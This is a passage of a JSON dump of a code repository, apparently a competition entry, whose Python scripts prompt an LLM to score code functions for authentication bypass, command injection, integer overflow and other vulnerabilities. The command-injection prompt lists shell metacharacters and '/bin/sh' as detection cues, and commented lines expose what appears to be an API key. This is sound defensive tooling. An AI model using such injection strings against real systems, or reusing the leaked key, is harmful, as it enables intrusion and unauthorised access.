    "content": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, SystemMessage\r\nfrom langchain.prompts import PromptTemplate,ChatPromptTemplate\r\nfrom langchain.chains import LLMChain, SimpleSequentialChain\r\n\r\nfrom langchain.prompts import (\r\n    ChatPromptTemplate,\r\n    PromptTemplate,\r\n    SystemMessagePromptTemplate,\r\n    AIMessagePromptTemplate,\r\n    HumanMessagePromptTemplate\r\n)\r\nfrom langchain.output_parsers import StructuredOutputParser, ResponseSchema\r\nfrom langchain.schema import (\r\n    AIMessage,\r\n    HumanMessage,\r\n    SystemMessage\r\n)\r\nimport re\r\nSystemPrompt = PromptTemplate(\r\n    template=\"You are a cybersecurity engineer, and your task is to analyze the provided code snippet and the potential vulnerability types to identify the function in the given code where the vulnerability is most likely to occur.\",\r\n)\r\n\r\n\r\nHumanPromptStep2 = PromptTemplate(\r\n    template=\"\"\"\r\n\t\t    User question: Please analyze all functions in the code snippet I provided to determine whether they have potential authentication bypass vulnerabilities, and output the names of all functions and their total confidence (including functions with a total confidence of 0).\r\n\r\n            <context> {code_context} </context>\r\n            Answer the user's question using the information in <context>.\r\n\r\n            Output format: {format_instructions}\r\n            an example of output is:curly_brace\"functions\": [curly_brace \"name\": \"daemonCheck\",\"confidence\": 10 end_curly_brace,curly_brace \"name\": \"daemonControl\",\"confidence\": 30 end_curly_brace] end_curly_brace\r\n\r\n            Analysis criteria: \r\n            1. Weak or missing authentication checks (20 points): Add 20 points if a function performs privileged operations or grants access without validating user credentials or session tokens. This includes cases where authentication logic is incomplete or entirely missing.\r\n            2. Improper verification logic (20 points): Add 20 points for flawed logic in authentication processes, such as incorrect password/token validation, acceptance of partial/empty credentials, or overly permissive access control.\r\n            3. Session management issues (20 points): Add 20 points if session handling lacks proper checks, including missing token validation, use of predictable or insecure session identifiers, or failure to invalidate sessions when appropriate (e.g., on logout).\r\n            4. Backdoors or insecure fallback mechanisms (40 points): Add 40 points if the function contains mechanisms that bypass authentication, such as hardcoded credentials, debug modes, or any form of unrestricted access intended for testing or maintenance.\r\n\r\n            [Attention!]:\r\n            1. Total confidence of each function is the sum of points from the above criteria.\r\n            2. Ensure that all functions in the code snippet are analyzed and included in the output.\r\n            3. Pay particular attention to indirect influences, such as unchecked authentication states being passed to other functions.\r\n            4. The output must be valid JSON.\r\n            5. Avoid producing results where all functions have identical scores unless justified by the analysis. Provide meaningful differentiation based on potential vulnerabilities.\r\n            \r\n            Key Notes for AI:\r\n            1. Focus on identifying risks specifically related to authentication bypass, not general issues.\r\n            2. Use clear, concise language to explain the scoring and avoid unnecessary verbosity.\r\n            3. Provide detailed reasoning for any function scoring zero, ensuring the logic is thorough and traceable.\r\n        \"\"\",\r\n    input_variables=[\"code_context\"]\r\n)\r\n\r\nresponse_schemas_step2 = [\r\n    ResponseSchema(name=\"functions\", description=\"a list of function names with their respective confidence levels\")\r\n\r\n]\r\nlength_limit=14000\r\n\r\ndef check_output_regex(output):\r\n    pattern = r\"maximum context length is 8000 tokens\"\r\n    if re.search(pattern, output):\r\n        return 1\r\n    else:\r\n        return 0\r\n    \r\ndef llm_api_step2(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    if len(prompt_code)>length_limit:\r\n        prompt_code = prompt_code[:length_limit]\r\n    llm = ChatOpenAI(\r\n        streaming=True,\r\n        verbose=True,\r\n        # key和base开赛后提供\r\n        openai_api_key=key_env,\r\n        openai_api_base=base_env,\r\n        model_name='tq-gpt',\r\n        timeout=300\r\n    )\r\n    # create HumanMessagePromptTemplate\r\n    HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2)\r\n    SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt)\r\n    # conbine Prompt\r\n    chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])\r\n\r\n    output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2)\r\n\r\n    format_instructions = output_parser.get_format_instructions()\r\n    #prompt = split_prompt(prompt, 6000)\r\n\r\n    chain=LLMChain(llm=llm, prompt=chat_template)\r\n    try:\r\n        output = chain.run(code_context=prompt_code,format_instructions=format_instructions)\r\n        print(output)\r\n        json_out=output_parser.parse(output)\r\n        # AI may regard a content to be None not NULL\r\n        # Change later\r\n        for i in range(10):\r\n            if json_out[\"functions\"]:\r\n                break\r\n            output = chain.run(code_context=prompt_code,format_instructions=format_instructions)\r\n            #print(output)\r\n            json_out=output_parser.parse(output)\r\n        return json_out\r\n    except Exception as e:\r\n        print(f\"Request timed out. {e}\")\r\n        if check_output_regex(str(e)) == 1:\r\n            length_limit = length_limit - 2000\r\n        return None\r\n    \r\ndef check_bypass(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    length_limit = 14000\r\n    json_out=llm_api_step2(prompt_code, key_env, base_env)\r\n    for i in range(50):\r\n        if json_out is not None:\r\n            break\r\n        json_out=llm_api_step2(prompt_code, key_env, base_env)\r\n    return json_out\r\n\r\n# check by yourself\r\n#filepath='a'\r\n#with open(file_path, encoding='utf-8') as file:\r\n#    file_content = file.read()\r\n#json_out=check_arbitrary(file_content, \"8bb73128d0b5732a1e0723f922245df8\", 'https://poc.qianxin.com')\r\n"
  },
  {
    "path": "task2_source_code/first_version/command.py",
    "content": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, SystemMessage\r\nfrom langchain.prompts import PromptTemplate,ChatPromptTemplate\r\nfrom langchain.chains import LLMChain, SimpleSequentialChain\r\n\r\nfrom langchain.prompts import (\r\n    ChatPromptTemplate,\r\n    PromptTemplate,\r\n    SystemMessagePromptTemplate,\r\n    AIMessagePromptTemplate,\r\n    HumanMessagePromptTemplate\r\n)\r\nfrom langchain.output_parsers import StructuredOutputParser, ResponseSchema\r\nfrom langchain.schema import (\r\n    AIMessage,\r\n    HumanMessage,\r\n    SystemMessage\r\n)\r\nimport re\r\nSystemPrompt = PromptTemplate(\r\n    template=\"You are a cybersecurity engineer, and your task is to analyze the provided code snippet and the potential vulnerability types to identify the function in the given code where the vulnerability is most likely to occur.\",\r\n)\r\n\r\n\r\nHumanPromptStep2 = PromptTemplate(\r\n    template=\"\"\"\r\n\t\tUser question:Please analyze the provided specific code of a series of functions to determine if any of these functions contain potential Command injection vulnerabilities ,Your analysis must consider:\r\n\t\tUser Input Flow: Analyze how user input flows into command execution functions like system(). Look for cases where input affects the commands being executed.\r\n\t\tSanitization: Check if user input is validated for malicious patterns like ;, &&, ||, |, $(), backticks, or other special characters.\r\n\t\tLet's analyze each function step by step based on the code I provide. We will consider each function independently and, based on the analysis criteria I give, assign a confidence score (confidence score:s 1~10) to each function:\r\n                1.Determine the Use of Command Execution Functions like system(), exec(), popen(), Runtime.exec(), ProcessBuilder, etc. If such functions are present, add 10 points to the confidence level.\r\n                2.Unvalidated User Input: if user input directly influences command execution without validation, add 20 points to the confidence level.\r\n                3.Consider Permission operations: if giving function exists any operation on Permission like $permission, which may influnecethe the command injection function Input, add 20 points to the confidence level.\r\n                4.Use of Shell Metacharacters: Direct concatenation allows inclusion of shell metacharacters in inputs, add 20 points to the confidence level.\r\n                5.If the function contains strings related to RCE such as \"smb\" or \"/bin/sh\", add 30 extra points to the confidence score. \r\n\t\r\n                <context>\r\n                {code_context}\r\n                </context>\r\n                answer user's question with the information in <context>\r\n                output format: {format_instructions}\r\n                an example of output is:curly_brace\"functions\": [curly_brace \"name\": \"daemonCheck\",\"confidence\": 10 end_curly_brace,curly_brace \"name\": \"daemonControl\",\"confidence\": 30 end_curly_brace] end_curly_brace\r\n\r\n            \"\"\",\r\n    input_variables=[\"code_context\"]\r\n)\r\n\r\nresponse_schemas_step2 = [\r\n    ResponseSchema(name=\"functions\", description=\"a list of function names with their respective confidence levels\")\r\n\r\n]\r\nlength_limit=14000\r\n\r\ndef check_output_regex(output):\r\n    pattern = r\"maximum context length is 8000 tokens\"\r\n    if re.search(pattern, output):\r\n        return 1\r\n    else:\r\n        return 0\r\n    \r\ndef llm_api_step2(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    if len(prompt_code)>length_limit:\r\n        prompt_code = prompt_code[:length_limit]\r\n    llm = ChatOpenAI(\r\n        streaming=True,\r\n        verbose=True,\r\n        # key和base开赛后提供\r\n        openai_api_key=key_env,\r\n        openai_api_base=base_env,\r\n        model_name='tq-gpt',\r\n        timeout=300\r\n    )\r\n    # create HumanMessagePromptTemplate\r\n    HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2)\r\n    SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt)\r\n    # conbine Prompt\r\n    chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])\r\n\r\n    output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2)\r\n\r\n    format_instructions = output_parser.get_format_instructions()\r\n    #prompt = split_prompt(prompt, 6000)\r\n\r\n    chain=LLMChain(llm=llm, prompt=chat_template)\r\n    try:\r\n        output = chain.run(code_context=prompt_code,format_instructions=format_instructions)\r\n        print(output)\r\n        json_out=output_parser.parse(output)\r\n        # AI may regard a content to be None not NULL\r\n        # Change later\r\n        for i in range(10):\r\n            if json_out[\"functions\"] or json_out[\"functions\"]==[]:\r\n                break\r\n            output = chain.run(code_context=prompt_code,format_instructions=format_instructions)\r\n            #print(output)\r\n            json_out=output_parser.parse(output)\r\n        return json_out\r\n    except Exception as e:\r\n        print(f\"Request timed out. {e}\")\r\n        if check_output_regex(str(e)) == 1:\r\n            length_limit = length_limit - 2000\r\n        return None\r\n    \r\ndef check_command(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    length_limit = 14000\r\n    json_out=llm_api_step2(prompt_code, key_env, base_env)\r\n    for i in range(50):\r\n        if json_out is not None:\r\n            break\r\n        json_out=llm_api_step2(prompt_code, key_env, base_env)\r\n    return json_out\r\n\r\n# check by yourself\r\n#filepath='a'\r\n#with open(file_path, encoding='utf-8') as file:\r\n#    file_content = file.read()\r\n#json_out=check_arbitrary(file_content, \"8bb73128d0b5732a1e0723f922245df8\", 'https://poc.qianxin.com')\r\n"
  },
  {
    "path": "task2_source_code/first_version/int_overflow.py",
    "content": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, SystemMessage\r\nfrom langchain.prompts import PromptTemplate,ChatPromptTemplate\r\nfrom langchain.chains import LLMChain, SimpleSequentialChain\r\n\r\nfrom langchain.prompts import (\r\n    ChatPromptTemplate,\r\n    PromptTemplate,\r\n    SystemMessagePromptTemplate,\r\n    AIMessagePromptTemplate,\r\n    HumanMessagePromptTemplate\r\n)\r\nfrom langchain.output_parsers import StructuredOutputParser, ResponseSchema\r\nfrom langchain.schema import (\r\n    AIMessage,\r\n    HumanMessage,\r\n    SystemMessage\r\n)\r\nimport re\r\nSystemPrompt = PromptTemplate(\r\n    template=\"You are a cybersecurity engineer, and your task is to analyze the provided code snippet and the potential vulnerability types to identify the function in the given code where the vulnerability is most likely to occur.\",\r\n)\r\n\r\n\r\nHumanPromptStep2 = PromptTemplate(\r\n    template=\"\"\"\r\n\t\t    User question: Please analyze all functions in the code snippet I provided to determine whether they have potential integer overflow vulnerabilities, and output the names of all functions and their total confidence (including functions with a total confidence of 0).\r\n\r\n            <context>\r\n            {code_context}\r\n            </context>\r\n\r\n            Answer the user's question using the information in <context>.  \r\n\r\n            **Output format**: {format_instructions}  \r\n            an example of output is:curly_brace\"functions\": [curly_brace \"name\": \"daemonCheck\",\"confidence\": 10 end_curly_brace,curly_brace \"name\": \"daemonControl\",\"confidence\": 30 end_curly_brace] end_curly_brace\r\n\r\n            **Analysis criteria**:  \r\n            1. **Input-controlled integers (10 points)**: Add 10 points if integers directly or indirectly influenced by user input or external data are used in critical logic, calculations, or resource operations without proper validation (e.g., range, format, or type checking).  \r\n            2. **Lack of bounds checking (10 points)**: Add 10 points if integers influenced by user input or external data are used in array indexing, loop boundaries, or conditional checks without verifying their validity, which may lead to risks like out-of-bounds access or security bypass.  \r\n            3. **Unsafe arithmetic (20 points)**: Add 20 points if arithmetic operations (e.g., addition, subtraction, multiplication) or type conversions involving user-controlled integers may result in overflow, truncation, or unexpected behavior.  \r\n            4. **Memory or buffer allocation issues (40 points)**: Add 40 points if integers influenced by user input or external data are used for memory allocation, buffer operations, or size calculations without strict validation, posing risks like overflow or memory corruption.  \r\n\r\n            [Attention!]:  \r\n            1. Total confidence of each function is the sum of points from the above criteria.\r\n            2. Analyze **all functions** in the provided code snippet and ensure no function is omitted.  \r\n            3. Pay particular attention to **indirect influences** where integers are passed through intermediate variables or functions.  \r\n            4. The output must be valid JSON. \r\n            5. Try not to output results with a total confidence of all 0, or all the same results, which will bother me.\r\n        \"\"\",\r\n    input_variables=[\"code_context\"]\r\n)\r\n\r\nresponse_schemas_step2 = [\r\n    ResponseSchema(name=\"functions\", description=\"a list of function names with their respective confidence levels\")\r\n\r\n]\r\nlength_limit=14000\r\n\r\ndef check_output_regex(output):\r\n    pattern = r\"maximum context length is 8000 tokens\"\r\n    if re.search(pattern, output):\r\n        return 1\r\n    else:\r\n        return 0\r\n    \r\ndef llm_api_step2(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    if len(prompt_code)>length_limit:\r\n        prompt_code = prompt_code[:length_limit]\r\n    llm = ChatOpenAI(\r\n        streaming=True,\r\n        verbose=True,\r\n        # key和base开赛后提供\r\n        openai_api_key=key_env,\r\n        openai_api_base=base_env,\r\n        model_name='tq-gpt',\r\n        timeout=300\r\n    )\r\n    # create HumanMessagePromptTemplate\r\n    HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2)\r\n    SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt)\r\n    # conbine Prompt\r\n    chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])\r\n\r\n    output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2)\r\n\r\n    format_instructions = output_parser.get_format_instructions()\r\n    #prompt = split_prompt(prompt, 6000)\r\n\r\n    chain=LLMChain(llm=llm, prompt=chat_template)\r\n    try:\r\n        output = chain.run(code_context=prompt_code,format_instructions=format_instructions)\r\n        print(output)\r\n        json_out=output_parser.parse(output)\r\n        # AI may regard a content to be None not NULL\r\n        # Change later\r\n        for i in range(10):\r\n            if json_out[\"functions\"]:\r\n                break\r\n            output = chain.run(code_context=prompt_code,format_instructions=format_instructions)\r\n            #print(output)\r\n            json_out=output_parser.parse(output)\r\n        return json_out\r\n    except Exception as e:\r\n        print(f\"Request timed out. {e}\")\r\n        if check_output_regex(str(e)) == 1:\r\n            length_limit = length_limit - 2000\r\n        return None\r\n    \r\ndef check_int_overflow(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    length_limit = 14000\r\n    json_out=llm_api_step2(prompt_code, key_env, base_env)\r\n    for i in range(50):\r\n        if json_out is not None:\r\n            break\r\n        json_out=llm_api_step2(prompt_code, key_env, base_env)\r\n    return json_out\r\n\r\n# check by yourself\r\n#filepath='a'\r\n#with open(file_path, encoding='utf-8') as file:\r\n#    file_content = file.read()\r\n#json_out=check_arbitrary(file_content, \"8bb73128d0b5732a1e0723f922245df8\", 'https://poc.qianxin.com')\r\n"
  },
  {
    "path": "task2_source_code/first_version/others.py",
    "content": "#!/usr/local/bin/python3\r\nfrom langchain_openai import ChatOpenAI\r\nfrom langchain_core.messages import HumanMessage, SystemMessage\r\nfrom langchain.prompts import PromptTemplate,ChatPromptTemplate\r\nfrom langchain.chains import LLMChain, SimpleSequentialChain\r\n\r\nfrom langchain.prompts import (\r\n    ChatPromptTemplate,\r\n    PromptTemplate,\r\n    SystemMessagePromptTemplate,\r\n    AIMessagePromptTemplate,\r\n    HumanMessagePromptTemplate\r\n)\r\nfrom langchain.output_parsers import StructuredOutputParser, ResponseSchema\r\nfrom langchain.schema import (\r\n    AIMessage,\r\n    HumanMessage,\r\n    SystemMessage\r\n)\r\nimport re\r\n\r\nSystemPrompt = PromptTemplate(\r\n    template=\"You are a cybersecurity engineer, and your task is to analyze the provided code snippet and the potential vulnerability types to identify the function in the given code where the vulnerability is most likely to occur.\",\r\n)\r\n\r\n\r\nHumanPromptStep2 = PromptTemplate(\r\n    template=\"\"\"\r\n\t\tUser question:Please analyze the provided specific code of a series of functions to determine if any of these functions contain potential vulnerabilities, I will provide you with several types of vulnerabilities, as well as key dangerous functions or patterns that lead to these vulnerabilities for your consideration. Please identify the specific function that contains the vulnerability trigger point. Note that there will be only one function with the vulnerability trigger point. Please think carefully, analyze step by step, and ultimately return to me the specific name of the vulnerable function, as well as the type of vulnerability:\r\n\t\there are the potential types of the vulnerability:\r\n\t\t1.SQL Injection: pay attention to dangerous functions like mysql_query(). If there are any, please focus on these points:(1)Direct SQL query construction;(2)Examine how user input is incorporated into SQL queries. and finally provide me with the function that is most likely to have an SQL injection vulnerability.\r\n\t\t2.Race condition: Please focus on the following: (1)Checking resources before use, such as verifying file paths before using functions like open() to operate on files.(2)Improper use of locking functions that can lead to vulnerabilities. and finally provide me with the function that is most likely to have an race condition vulnerability.\r\n\t\t3.Use-after-free:focus on the situation where resources are released before being used. Please pay special attention to functions related to resource release and allocation that are associated with Use-After-Free (UAF), such as free() and malloc(). and finally provide me with the function that is most likely to have an UAF vulnerability.\r\n\t\t4.format string:focus on dangerous function like printf(),scanf() etc. Further determine whether the input to these dangerous functions can be controlled by user input, and if so, provide me with the function that is most likely to have an format string vulnerability.\r\n\t\t5.CSRF and SSRF:pay attention to High-Risk Functions and Methods like (HTML rendering functions), (JavaScript generation) or (manipulation and DOM manipulation methods), if have any CSRF vulnerability, provide me with the function that is most likely to have an CSRF vulnerability.\r\n\t\t6.Double-Fetch issues involving multiple interactions with kernel functions, such as copy_from_user(), get_user(), copy_to_user() and put_user(), If a function contains two calls to the aforementioned interaction functions that both operate on the same kernel object, please output the name of the involved function, which must have a vulnerability.\r\n\t\tFinally, If none of the aforementioned types of vulnerabilities are present, do not output any results. \r\n\t\r\n                <context>\r\n                {code_context}\r\n                </context>\r\n                answer user's question with the information in <context>\r\n                output format: {format_instructions}\r\n            \"\"\",\r\n    input_variables=[\"code_context\"]\r\n)\r\n\r\nresponse_schemas_step2 = [\r\n    ResponseSchema(name=\"functions\", description=\"function name\"),\r\n    ResponseSchema(name=\"types\", description=\"The specific type of vulnerability\"),\r\n]\r\nlength_limit=14000\r\n\r\ndef check_output_regex(output):\r\n    pattern = r\"maximum context length is 8000 tokens\"\r\n    if re.search(pattern, output):\r\n        return 1\r\n    else:\r\n        return 0\r\n    \r\ndef llm_api_step2(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    if len(prompt_code)>length_limit:\r\n        prompt_code = prompt_code[:length_limit]\r\n    llm = ChatOpenAI(\r\n        streaming=True,\r\n        verbose=True,\r\n        # key和base开赛后提供\r\n        openai_api_key=key_env,\r\n        openai_api_base=base_env,\r\n        model_name='tq-gpt',\r\n        timeout=300\r\n    )\r\n    # create HumanMessagePromptTemplate\r\n    HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2)\r\n    SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt)\r\n    # conbine Prompt\r\n    chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])\r\n\r\n    output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2)\r\n\r\n    format_instructions = output_parser.get_format_instructions()\r\n    #prompt = split_prompt(prompt, 6000)\r\n\r\n    chain=LLMChain(llm=llm, prompt=chat_template)\r\n    try:\r\n        output = chain.run(code_context=prompt_code,format_instructions=format_instructions)\r\n        print(output)\r\n        json_out=output_parser.parse(output)\r\n        # AI may regard a content to be None not NULL\r\n        # Change later\r\n        for i in range(10):\r\n            if json_out[\"functions\"]:\r\n                break\r\n            output = chain.run(code_context=prompt_code,format_instructions=format_instructions)\r\n            #print(output)\r\n            json_out=output_parser.parse(output)\r\n        return json_out\r\n    except Exception as e:\r\n        print(f\"Request timed out. {e}\")\r\n        if check_output_regex(str(e)) == 1:\r\n            length_limit = length_limit - 2000\r\n        return None\r\n    \r\ndef check_others(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    length_limit = 14000\r\n    json_out=llm_api_step2(prompt_code, key_env, base_env)\r\n    for i in range(50):\r\n        if json_out is not None:\r\n            break\r\n        json_out=llm_api_step2(prompt_code, key_env, base_env)\r\n    pattern = r'\\)\\s+(\\w+)\\s*\\('\r\n\r\n    # Search for the pattern in the code string\r\n    match = re.search(pattern, json_out[\"functions\"])\r\n\r\n    if match:\r\n    # Extract the function name\r\n        json_out[\"functions\"] = match.group(1)\r\n    json_out[\"functions\"]=[json_out[\"functions\"]]\r\n    json_out[\"confidence\"]=100\r\n    return json_out\r\n\r\n# check by yourself\r\n#filepath='a'\r\n#with open(file_path, encoding='utf-8') as file:\r\n#    file_content = file.read()\r\n\r\n#json_out=check_arbitrary(file_content, \"8bb73128d0b5732a1e0723f922245df8\", 'https://poc.qianxin.com')\r\n#print(json_out)\r\n"
  },
  {
    "path": "task2_source_code/first_version/test.py",
    "content": "#!/usr/local/bin/python3\nfrom langchain_openai import ChatOpenAI\nfrom langchain_core.messages import HumanMessage, SystemMessage\nfrom langchain.prompts import PromptTemplate,ChatPromptTemplate\nfrom langchain.chains import LLMChain, SimpleSequentialChain\n\nfrom langchain.prompts import (\n    ChatPromptTemplate,\n    PromptTemplate,\n    SystemMessagePromptTemplate,\n    AIMessagePromptTemplate,\n    HumanMessagePromptTemplate\n)\nfrom langchain.output_parsers import StructuredOutputParser, ResponseSchema\nfrom langchain.schema import (\n    AIMessage,\n    HumanMessage,\n    SystemMessage\n)\nfrom Splitting_function_CC import process_c_files\nfrom Splitting_function_py import process_python\nfrom Splitting_function_php import process_php_files_in_directory\nfrom Splitting_function_java import process_java_files\nfrom Splitting_function_go import extract_functions_with_receivers\nfrom Splitting_jsp import split_jsp_files\nfrom arbitrary import check_arbitrary,check_output_regex\nfrom bypass1 import check_bypass\nfrom int_overflow1 import check_int_overflow\nfrom bof_memory1 import check_bof\nfrom others_memory import check_others\nfrom command_memory import check_command\nimport os\nimport json\nimport time\nfrom bs4 import BeautifulSoup\nimport re\nimport csv\nimport re\n# 数据集所在的文件目录\ndata_dir = '/vlun_demo'\n#data_dir = './data40'\n\n# 答案文件保存的目录\nanswer_dir = '/result'\n#answer_dir = './result'\nenv_vars = os.environ\n\nkey_env=env_vars['API_KEY']\nbase_env=env_vars['API_BASE']\n#key_env=''\n#base_env='https://poc.qianxin.com'\n\n# prompt informations\nHumanPromptStep1 = PromptTemplate(\n    template=\"\"\"\n                User question: If you provide a code snippet to be verified, the language of the code snippet is {slice_lang}, and the code snippet may contain a vulnerability of type {slice_vul}, please summarize the following information as much as possible:\n                \"vul_functions\": the function names of the {slice_vul} vulnerability type in the code snippet.\n                \"related_functions\": other function names related to the dangerous function in the code snippet.\n\n                <context>\n                {ocr_result}\n                </context>\n                Use <context> Answer the user's question with the information in\n                Output format: {format_instructions}\n\n                Let's analyze step by step and give us your analysis process. Pay attention to the following points:\n                1. The code snippet provided may be related to the {slice_vul} vulnerability or may not be related to the {slice_vul} vulnerability;\n                2. If the code snippet provided is related to the {slice_vul} vulnerability, the output dangerous function and other related functions may be more than one;\n                3. If the code snippet provided is not related to the {slice_vul} vulnerability, the output \"vul_functions\" is NULL, and the \"related_functions\" is also NULL;\n                4. Please analyze from the perspective of the function call chain Analyze the code snippet provided, and save other functions in the same function call chain as the dangerous function in the \"related_functions\";\n                5. Please analyze the functions with security checks in the provided code snippets and consider whether they are dangerous functions or related to dangerous functions;\n                6. The code snippets provided are often incomplete. If there are custom functions with unknown function bodies, please analyze the additional context information they need by yourself;\n                7. Please analyze the code snippets provided from various angles of vulnerability analysis as much as possible, and be generous and thorough when identifying dangerous functions and other related functions, because you will analyze more code in subsequent steps;\n                8. Please do not output irrelevant function names to the results and do not output a list of dangerous functions that is too long (for example, more than 10 elements), otherwise it will affect our next judgment.\n                9. Please make sure that the output json is a legal json file and output your analysis process.        \n            \"\"\",\n    input_variables=[\"slice_lang\",\"slice_vul\",\"ocr_result\",\"format_instructions\"]\n)\n\n\n\nSystemPrompt = PromptTemplate(\n    template=\"\"\"You are a world-leading expert in vulnerability analysis, famous for discovering vulnerabilities in code snippets. You understand and are familiar with various languages including but not limited to decompiled pseudocode, C, C++, java, python, go, js, and you can read English and Chinese. Your task is to perform a detailed static code analysis, focusing on the following types of vulnerabilities:\n                1. Arbitrary File Access (Arbitrary_file_access)\n                2. Authentication Bypass (Authentication_bypass)\n                3. Buffer Overflow (Buffer_overflow)\n                4. Command Injection (Command_injection)\n                5. Integer Overflow (Integer_overflow)\n                6. Others (others): including but not limited to SQL injection, deserialization vulnerabilities, SSRF, XSS, UAF, conditional competition, format string and other types of vulnerabilities.\n            \"\"\"\n)\n\n#output\nresponse_schemas_step1 = [\n    ResponseSchema(name=\"vul_functions\", description=\"a list of all dangerous functions\", type=\"list[str]\"),\n    ResponseSchema(name=\"related_functions\", description=\"a list of all related functions\", type=\"list[str]\")\n]\n\n\nlength_limit=14000\n\n\"\"\"\nConnect to the OpenAI API and return the response\n\"\"\"\n\n# chat_template = ChatPromptTemplate.from_messages(\n#     [\n#         (\"system\", \"You are a cyber security engineer whose job is to look at vulnerability disclosure websites and compile vulnerability information.\"),\n#         (\"human\", \"Hello, how are you doing?\"),\n#         (\"ai\", \"I'm doing well, thanks!\"),\n#         (\"human\", \"{user_input}\"),\n#     ]\n# )\n# create SystemMessagePromptTemplate\n\nvul_list = [\"Arbitrary_file_access\", \"Authentication_bypass\", \"Buffer_overflow\", \"Command_injection\", \"Integer_overflow\", \"others\"]\nSystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt)\n\n\ndef llm_api_step1(prompt, slice_lang, slice_vul):\n    global length_limit\n    if len(prompt)>length_limit:\n        prompt = prompt[:length_limit]\n    llm = ChatOpenAI(\n        streaming=True,\n        verbose=True,\n        # key和base开赛后提供\n        openai_api_key=key_env,\n        openai_api_base=base_env,\n        model_name='tq-gpt',\n        timeout=300\n    )\n    # create HumanMessagePromptTemplate\n    HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep1)\n    # conbine Prompt\n    chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])\n\n    output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step1)\n\n    format_instructions = output_parser.get_format_instructions()\n\n    chain=LLMChain(llm=llm, prompt=chat_template)\n    try:\n        output = chain.run(slice_lang=slice_lang,slice_vul=slice_vul,ocr_result=prompt,format_instructions=format_instructions)\n        #print(output)\n        json_out=output_parser.parse(output)\n        # AI may regard a content to be None not NULL\n        # Change later\n        for i in range(10):\n            # 先考虑输出只有危险函数的情况，其他相关函数（如调用链）不管\n            if json_out[\"vul_functions\"]:\n                break\n            output = chain.run(slice_lang=slice_lang,slice_vul=slice_vul,ocr_result=prompt,format_instructions=format_instructions)\n            #print(output)\n            json_out=output_parser.parse(output)\n        return json_out\n    except Exception as e:\n        print(f\"Request timed out. {e}\")\n        if check_output_regex(str(e)) == 1:\n            length_limit = length_limit - 2000\n        return None\n    \ndef split_files(subdir_path, ext):\n    functions=None\n    if ext=='.c' or ext=='.h' or ext=='.cc' or ext=='.cpp':\n        functions=process_c_files(subdir_path)\n    elif ext=='.py':\n        functions=process_python(subdir_path)\n    elif ext=='.ts':\n        functions=None\n    elif ext=='.js':\n        functions=split_jsp_files()\n    elif ext=='.java':\n        functions=process_java_files(subdir_path)\n    elif ext=='.php':\n        functions=process_php_files_in_directory(subdir_path)\n    elif ext=='.go':\n        functions=extract_functions_with_receivers(subdir_path)\n    return functions\n\ndef run_step1_considering_timeout(file_content, slice_lang, slice_vul):\n    global length_limit\n    length_limit = 14000\n    json_out_step1 = llm_api_step1(file_content, slice_lang=slice_lang, slice_vul=slice_vul)\n    for i in range(50):\n        if json_out_step1 is not None:\n            break\n        json_out_step1 = llm_api_step1(file_content, slice_lang=slice_lang, slice_vul=slice_vul)\n    return json_out_step1\n    \n\nwrited_result=0\ndef check_and_write(file_path,target1,target2,highest_score,second_highest,total_file_content):\n    global writed_result\n    try:\n        if writed_result<=4:\n            with open(file_path, 'a') as f:\n                f.write(target1+'\\n')\n                writed_result+=1\n                if highest_score < second_highest*2:\n                    f.write(target2+'\\n')\n                    writed_result+=1\n    except:\n        pass\n\ndef run_step2(slice_vul,file_content, total_file_content):\n    json_out_step2=None\n    if slice_vul==\"Arbitrary_file_access\":\n        json_out_step2 = check_arbitrary(file_content, key_env, base_env)\n    elif slice_vul==\"Authentication_bypass\":\n        json_out_step2 = check_bypass(file_content, key_env, base_env)\n    elif slice_vul==\"Buffer_overflow\":\n        json_out_step2 = check_bof(file_content, key_env, base_env)\n    elif slice_vul==\"Command_injection\":\n        json_out_step2 = check_command(file_content, key_env, base_env)\n    elif slice_vul==\"Integer_overflow\":\n        json_out_step2 = check_int_overflow(file_content, key_env, base_env)\n    else:\n        json_out_step2 = check_others(file_content, key_env, base_env)\n    if not json_out_step2:\n        return#not implemented yet\n    print(json_out_step2)\n    highest_score=0\n    second_highest=0\n    target1=None\n    target2=None\n    for item in json_out_step2['functions']:\n        if item['confidence']>highest_score:\n            target1=item['name']\n            highest_score=item['confidence']\n        elif item['confidence']>second_highest:\n            target2=item['name']\n            second_highest=item['confidence']\n    #if highest_score < second_highest*2:\n    #    print(\"prepare writing\",target1,target2)\n    #else:\n    #    print(\"prepare writing\",target1)\n    a_dir = os.path.join(answer_dir, slice_vul)\n    file_path = os.path.join(a_dir, 